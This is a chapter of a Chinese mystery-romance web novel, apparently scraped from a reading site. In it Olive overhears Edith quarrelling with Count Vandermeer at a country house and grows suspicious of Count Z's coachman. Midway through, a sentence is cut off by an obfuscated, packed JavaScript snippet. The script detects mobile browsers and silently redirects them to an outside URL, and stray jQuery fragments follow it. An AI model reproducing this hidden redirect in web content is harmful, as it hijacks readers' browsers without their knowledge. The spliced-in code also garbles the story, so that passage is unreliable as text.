默认冷灰
24号文字
方正启体

23. 心生嫌隙

作者:一山兰本书字数:K更新时间:
    吃完午饭,Z伯爵掏出怀表看了看:“小姐,我打算再呆一到两个钟头,你怎么样?你可以休息一会儿,然后,我们一起回伦敦。”


    “我有别的打算。”


    奥丽芙回屋将自己的行李收拾好,去找伊迪丝,她却不在房间。安斯蒂府里的女仆说:“库珀小姐出去了。”


    奥丽芙有点奇怪。早上她和伊迪丝商量好两点半出发,眼下,马上就两点一刻了。


    她首先想到,是不是伊迪丝也正找她,便准备再去花园瞧瞧。


    刚下楼,碰上了小默顿和德·雷斯托子爵,他们正看着仆人将行李搬上马车。


    奥丽芙后来已经从德·雷斯托日记中记录的那位詹姆斯牧师处获得了证实:当晚,牧师与子爵、还有子爵的母亲确实在威尔卡特府上用晚餐,直到晚上九点半后,客人们才离开。而父亲遇害的时间,应是在九点至九点半之间。


    本来,奥丽芙便认为,德·雷斯托是最“不像”凶手的人,当然,这只是她根据对方言行举止得出的主观印象,而现在她已明白,主观印象完全靠不住。


    可是,“不在场证明”是客观事实,不容驳倒。奥丽芙相信牧师不会撒谎,因此,德·雷斯托和小默顿一样,都拥有不在场证明。几乎可以认定,在这件事上,他们是清白的。


    此外,对于父亲的不幸,德·雷斯托在日记中表露出强烈的感情,奥丽芙因而对他有种特别的好感。这时见到了,奥丽芙上前与两人打招呼。


    “中午好。你们要出发了?”


    德·雷斯托好像心绪不佳,回答时,只有嘴唇动了动,声音几乎听不见。


    小默顿忙说:“我们这就去火车站。”停了停,又问,“要不要结伴搭火车,布莱克小姐?我们还可以等几分钟。”


    “不了,谢谢。我和库珀小姐乘马车来的,也乘马车回去。”


    “你们怎么都喜欢马车。”小默顿多少显得失望,“Z伯爵也乘马车,他还不急着返程,范德梅尔伯爵干脆说要到明天才走,我真不知他们留在这儿还能干嘛。——你和库珀小姐呢?”他急切地问。


    “我们很快也该出发了,我现在就去找库珀小姐。”


    “噢,对不起,我不该耽搁你。”小默顿说,看一眼马车,又回过头来盯着奥丽芙,犹豫着说,“要我帮你找到库珀小姐吗?”


    “不用,谢谢。你们的车子马上就好了,一路顺风。”


    小默顿看看一声不吭的德·雷斯托,帮他解释似的冲奥丽芙笑道:“我真怕这家伙在路上也不说话,要是有你和库珀小姐在,就会大不相同了。”


    德·雷斯托忽然开口:“布莱克小姐,等你见到库珀小姐,请替我转告,我特别喜欢她的表演。”


    “对对,布莱克小姐,你和库珀小姐,扮演了最美的两幅画。”小默顿说着,拉德·雷斯托一起上了马车。


    客人们差不多都准备着要离开,花园里空无一人。——也不是完全没人,Z伯爵站在那儿,差不多就是在刚才吃饭的位置,正在向这边张望。


    看见奥丽芙,他很快地跑来:“小姐,你预备出发了吗,请原谅,我还得等一下。你肯不肯等我,唔,二十分钟?”


    “我不是在找你,伯爵。”奥丽芙很客气地回答,“你请便。”


    “好吧,小姐。”Z伯爵遗憾地说,“既然如此,这儿也没什么意思,我先回去了。”他向大宅走去。


    奥丽芙心想Z伯爵既没有提,伊迪丝大概不在花园,不过,她还是匆匆转完一圈。


    经过蔷薇花墙时,墙后传来两人说话的声音,其中一个正是伊迪丝,但另一个是范德梅尔伯爵。


    他们两人并没有把话音压到让别人听不见的地步,因为他们在吵架。


    “走开,请不要管我!”伊迪丝喊叫,声音有些颤抖。


    “我不走!”奥丽芙头一次听见范德梅尔用这种粗暴的语气顶撞伊迪丝。但随即,他的话音又变温和了,“我发现,那间大厅,还有这座花园,都非常美,我要多留一天。刚才我就决定了,要在这儿多呆一天。”


    “与我无关。你请便,伯爵。”


    奥丽芙发现伊迪丝的话和自己几分钟前对Z伯爵说的差不多,这本来有点好笑,但她马上想起自己正在不道德地偷听,而范德梅尔又在气愤地嚷嚷了:“你不能这样误解我,伊迪丝!”


    奥丽芙吃了一惊,她完全没料到两人的关系已经到了范德梅尔能用教名称呼伊迪丝的地步。确实,这种似乎难以克制的激动,往往发生在关系密切的人之间,而争吵的内容,也证实了他们的亲密。


    范德梅尔说:“即使你不愿听我解释,也请你想想看,你扮的是一幅荷兰画家的画,而你,扮作一位荷兰姑娘,我怎么可能不喜欢?”


    “你说对了,我只是扮演,我可不是荷兰姑娘!”


    “荷兰姑娘只是一种比喻,代表我……哦,去他的荷兰姑娘……”范德梅尔咒骂了一句,接着响起拉拉扯扯的声音,但就那么片刻,马上平息了下来。


    奥丽芙犹豫了,到底要不要直接过去?反正不能装作没事,一走了之——两个仆人正朝这个方向走来。


    她假装绊了一下,大声“哎呦”着,弯腰揉自己的脚腕。


    “我绝不会走的。”她听见范德梅尔说,紧接着,他的一双腿从篱墙后迈了出来,没有停一下,快步从她身侧跑过去了。


    奥丽芙直起身,几秒后,伊迪丝从后面走出来,她的脸颊发红,眼睛灼灼发亮,但是没有眼泪。


    伊迪丝昂着头,径自走到奥丽芙面前:“谢谢你上次没告诉我父亲,这次你也不会说,是吧?”她说话口气很冲,带着质问的意思。


    这么说,那个晚上伊迪丝也是和范德梅尔会面。有时候,奥丽芙会想起那天,猜测到底是两位伯爵中的哪一个。此刻,她心想,为了范德梅尔这家伙真是大可不必。


    “当然不会。我不会告诉任何人。”奥丽芙郑重保证。


    她想问一句:“刚才没关系吧?”但伊迪丝冷静的、高傲的目光使这句话显得没必要。奥丽芙便只提醒道,“我们该准备出发了。”


    伊迪丝摇摇头:“你先回去吧,我还想在这儿呆一晚,我跟安斯蒂夫人说好了。我明天早上再走,她送我去车站。”


    奥丽芙很惊讶。临时改变计划对主人家实在不大方便,何况,范德梅尔好像也要留下,那就更不合适了。“我们还是回去吧。”她再次劝说道。


    “我不走。我吩咐马车送你回去。”伊迪丝用不容争论的语气说。


    奥丽芙也有点生气了。但她多少清楚伊迪丝的脾气,眼下,不能再与她争执。于是,她说:“明天早晨你坐马车吧。我乘火车,正好有很多人都去火车站。”奥丽芙不让伊迪丝再推让,扭身快步走开。


    不巧,这时刚刚有一拨客人离去,安斯蒂家自己的车子全部派出去了。管家很抱歉地请奥丽芙在大厅稍候,他去看看哪位客人有马车,可以顺带捎她去车站。


    奥丽芙百无聊赖,踱进展览新娘珠宝的房间。这时,大概因为客人都走了,而新婚夫妇不久后也将前往澳大利亚,所有首饰都被收了起来,只余那条红宝石手链还在丝绒架上闪着光,等待新娘临行时,将它戴在腕上。


    房间里只有“堂侄”和一个仆人模样的人。两人都是一副倦怠的样子,仆人低着头,“堂侄”斜靠在窗前,谁也没瞧摆放着首饰的桌子。


    现在奥丽芙知道他们的真实身份了,偷偷向“堂侄”瞥去,对方正透过眼镜片,悄悄拿眼盯着她,两人的目光差点碰到一起。奥丽芙急忙扭开头,她可不愿给当成嫌犯。她假装只是想寻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018714|192595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    找另外的礼物,向周围望一望,匆匆走出来。


    奥丽芙发现宅门外停有一辆马车,不过,管家却不见了踪影,大概被另一件事叫走了。奥丽芙便自己上前询问车夫。


    车夫是个很壮实的年轻人,好像有点面熟,再一细看,正是上次在SevenDials赶走几个流氓,救了她的那位!


    难怪他会拔刀相助,原来他是在一个体面人家做事——那天,他肯定是送主人去探访、帮助穷人。


    奥丽芙一高兴,没多想便走近他说:“先生,没想到还能碰见你。”


    对方一开始没动,直到奥丽芙站在身前,才扭头向旁边看看,发现奥丽芙确实在对他讲话。这下,他不仅惊讶,更显出了几分无措:“小姐,你要……”


    奥丽芙想起他可能认不出她了,那次她蒙着头巾,何况,这位好心的车夫也根本没朝她看。


    这倒不大好解释,犹豫间,听见后面说:“布莱克小姐,你终于决定要搭车了?”


    奥丽芙回过头,Z伯爵站在那儿。他脸上露出一点惊讶,随即笑呵呵指着车夫道:“他叫吉姆。第一次见到他的人,总是有点害怕。你是个例外。别看他长得有点吓人,其实有一颗最善良不过的心。是吧,吉姆,你愿意咱们车上多载一位乘客吧?”


    吉姆很庄重地躬躬身,表示愿意。


    这时奥丽芙的想法却又变了。她想:Z伯爵的车夫跑到那个下流地方去做什么?显然,他对那一带很熟悉,去了不止一回了。当然是奉Z伯爵之命,但肯定不是提着柳条篮子,去探望某个贫苦家庭。Z伯爵在那儿有什么勾当?


    “多谢你。”奥丽芙对Z伯爵说,“我准备乘火车回去,我刚才是想问问,你们是否方便往车站方向跑一段?”


    “别客气了,小姐。这回有了个地道的马车夫,我还不能获得送你回伦敦的荣幸?”


    奥丽芙倒真想给他这个“荣幸”——为从吉姆口里探探话。可惜,这是一辆轿式马车,没有和车夫谈话的机会。


    “我坐火车。”奥丽芙下了决心地说,“如果你肯送我到车站,我会非常感激。”


    “别乘火车。虽说在车上时间倒不长,可是得在车站候着。还是我送你吧,把你一路送回绿窗酒店。路上我们还能聊聊天,你不会无聊的。”


    Z伯爵明亮的眼睛里流露出认真的恳求,这副神情仿佛有点古怪。奥丽芙疑心他是不是在花园里也看见了伊迪丝和范德梅尔,猜出她为何改为一个人回伦敦,并打算借聊天之机刺探刺探,看她知道多少内情。


    她对Z伯爵的评价又降了几分:自己偷听他们说话,勉强还能算上“不得已”,Z伯爵则是有意窥人隐私了——完全不像个绅士!


    反正,无论他是否想议论此事,奥丽芙都不愿再听他那些“真心话”。毫无疑问,他一点没顾及她也是位淑女,嘴上说的便是他心中所想——关于他如何眼馋别人的珠宝,以及哪位女士给人以“挑逗的感觉”。


    “谢谢。我不喜欢和人聊天,我更愿意在候车室看看书。”


    Z伯爵不信地看着她,奥丽芙干脆从手提包里拿出一本硬皮小开本的书,在他面前晃了晃。


    “狄更斯?好吧,我输得不算太冤。虽然我觉得这本有点乏味。当然,我喜欢孤儿的故事,而你,喜欢历史。——走吧,去火车站。”


    Z伯爵似乎察觉出奥丽芙在心里骂他,打算在行为上做个绅士。他把奥丽芙扶上车,并坚持要将她送到火车座位上,进了车站,先为她找了张椅子坐下,又去替她买票。


    一位太太和她的女仆向奥丽芙这边走来,慌里慌张说着丢了行李的事。奥丽芙本来低着头,可那位太太看见了她,喊叫道:“啊呀,这不是布莱克小姐吗?”


    奥丽芙立即认出了对方,起身招呼:“赫伯特太太。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)